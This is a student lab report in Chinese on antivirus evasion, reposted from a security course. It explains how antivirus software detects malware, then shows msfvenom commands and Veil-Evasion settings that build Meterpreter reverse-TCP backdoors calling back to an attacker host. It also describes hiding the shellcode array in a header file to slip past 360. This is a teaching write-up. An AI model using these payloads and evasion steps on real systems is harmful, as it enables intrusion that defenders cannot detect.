您的位置:首页 > 理论基础 > 计算机网络

20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践

2017-03-25 15:24 218 查看

20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践

1.0 实践内容

理解免杀技术原理

正确使用
msf编码器
veil-evasion
,自己利用
shellcode
编程等免杀工具或技巧

通过组合应用各种技术实现恶意代码免杀

用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1.1 基础问题回答

(1)杀软是如何检测出恶意代码的?

基于特征码的检测:基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。

启发式恶意软件检测:是根据片面的判断,通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。

基于行为的恶意软件检测:行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。

(2)免杀是做什么?

逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。

(3)免杀的基本方法有哪些?

改变特征码

改变行为

改变操作方式

2.0 理解免杀技术原理

2.1 恶意软件检测机制

基于特征码的检测

根据李冬冬老师的信安概论,基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。

但误用检测的最大缺陷在于需要维护庞大的特征码库,而且无法检测未知攻击。然而最近几年研究表明,基于特征码检测能被轻易绕过。另一方面,基于源码分析通常是静态检测,但商业软件或恶意代码往往并不提供源码。也是一个比较困难的地方

启发式恶意软件检测

根据老师给的实验参考书,上面的启发式的意思是根据片面的判断,实质上的做法便是:

启发式方法是通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。针对不同类型的病毒,需要用完全不同的规则来构建启发式分析器,误报率也很高。

基于行为的恶意软件检测

行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。

2.2 免杀技术(Evading AV)

逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。

根据2.1的说明,我们可以找到如下“免杀技术”

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

有shellcode(像Meterpreter)

用encode进行编码

基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接

使用隧道技术

加密通讯数据

操作模式

基于内存操作

减少对系统的修改

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

使用社工类攻击,诱骗目标关闭AV软件。

纯手工打造一个恶意软件

3.0 免杀效果实测

用常见的如
msfvenom
veil-evasion
,
backdoor-factory
等病毒制作工具来制作免杀的病毒程序。

为了起到对比作用,首先在
VirusTotal
Virscan
两个网站下进行后门文件"zkj5314backdoor"的判断。



由于VirusTotal的cookies出问题,所以无法使用。我们就用Virscan来进行结果输出。分析发现,病毒是:

TR/Crypt.EPACK.Gen2

win32.swrort.gan

trojan.generic

此均为后门病毒(特洛伊木马)的说法.

3.1 msfvenom直接生成meterpreter可执行文件并进行检测

msfvenom
来进行
shellcode
的编写

用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=443 -f c

生成语言格式的
Shellcode
数组

将数组复制入程序并通过指针函数的形式编译成可执行文件



在win下执行成功:



用virscan为判断这个程序是否会被杀毒软件所判断



这里有一个重要的思考题:

(1)判断杀毒软件是根据
调用数组
这样的非常规操作,还是根据
数组内容
来识别出恶意代码的的。如果是调用数组这个操作有问题,我们就需要一个exe,所其中的代码段替换为shellcode;如果是数据内容实识别,那更简单些,我们自己对它加个密,动态解密

对于这个思考题,仔细分析其题干的话,就应该是两个选项:
调用数组
数组内容


我便想到了一个方法来对其进行判断:

若是
数组内容
可以引起判断的话,那么只要将
数组内容
写入一个不调用数组的
.exe
文件中,再对这个文件进行杀毒软件的判断,便可以知道究竟杀毒软件所采用的是哪一种方法。进一步,我们也可以知道采用哪种方法才可以实现免杀。



shellcode
中复制出来的代码放入未引用该数组的可执行文件中,进行判断。发现,杀软可以判断出其中的恶意代码。就是说明,杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“
数组内容
”的这一方式。

在接下来的实践中,就可以利用隐藏数组的方式来进行免杀的实现。



3.2 使用免杀平台Veil-Evasion

由于老师的
kali
中已经安装了
Veil-Evasion
,所以直接在命令行输入
veil-evasion
就可以进入平台

完成配置

use python/meterpreter/rev_tcp
set LHOST 10.10.10.130
generate
winmine
1

重新返回
menu
,只是生成的可执行文件名称为
5314.exe


将这个文件提交至virscan进行判断,发现其已经做到了很大程度上的免杀了,virscan给出的结果是可能是病毒文件,还是可以运行与回连的。

看来
veil-evasion
虽然只是改变了编码语言,不过这个效果还真的很厉害



3.3 半手工制作shellcode



msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=5214 -f c > 5314_c.c
生成一个shellcode数组,写入名为
.c
的文件里

接下来对这个有用的数组进行操作:最简单的就是对shellcode数组进行处理,并写好相应的解码函数放在我们的程序中,当程序执行时,先解码,再调用,这样就能在一定程度上骗过杀毒软件,且编码函数是我们自己编写的,特征库中应该是不存在的。

3.3.1 普通逆序编写

直接将上一步输出的数组复制到win下,编写一个简单程序,将该数组逆序存储再输出到
.txt
文件中并保存。

接下来直接套用老师给的模版函数,用逆序的方法(解码)调用我们先前存储的逆序数组

代码就省略了,结果成功完成回连:



在360下完成回连,但是在进行接下来的视频等操作时,360跳出来查杀我的exe文件,短暂的成功最终还是干不过360。

3.3.2 结合以上思考题的编写

前面的思考题我们得出了结论:

杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“`数组内容`”的这一方式。

因此,接下来我将数组封装成"5314.h"文件(查杀该文件时报毒率为0%)

#ifndef  __A_H_
#define __A_H_
#include<stdio.h>
char met[] =
数组内容
#endif




并编写一个调用该库的exe文件,完成回连:



实验成功:

可以进行各种操作,也绕过了360的查杀





直接用360去杀我含有"5314.h"文件和其可执行文件的目录,发现360这货根本查不出来。



实验成功。

实验总结与体会

本次实验,从性质来看,是上一次实验的下一步:实现网络攻击,首先需要上次实验那样的连接到另一台电脑,并向其发送文件。(用ncat实现Linux与Win互连,生成backdoor可执行程序反弹连接)。然而很重要的一步就是绕过杀毒软件再进行攻击,实现这个,我们才可以真正的实现网络攻击。

这次实验的思路也十分重要,老师给的思路是:

找出杀毒软件的杀毒特征,再对症下药进行修改。

而进一步,我从老师的思考题中获得新思路:杀软主要对
调用的数组
调用函数
这两个方面进行查杀。经过我的简单实验,确定了数组为主要问题,但是在3.3.1的半手工shellcode中,360软件照样杀出来了。

于是进一步,不仅对
数组
进行操作,更需要对
调用函数
也进行隐藏。我采用封装为.h文件的方式,杀软就更杀不出来了。实现了实验的成功。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: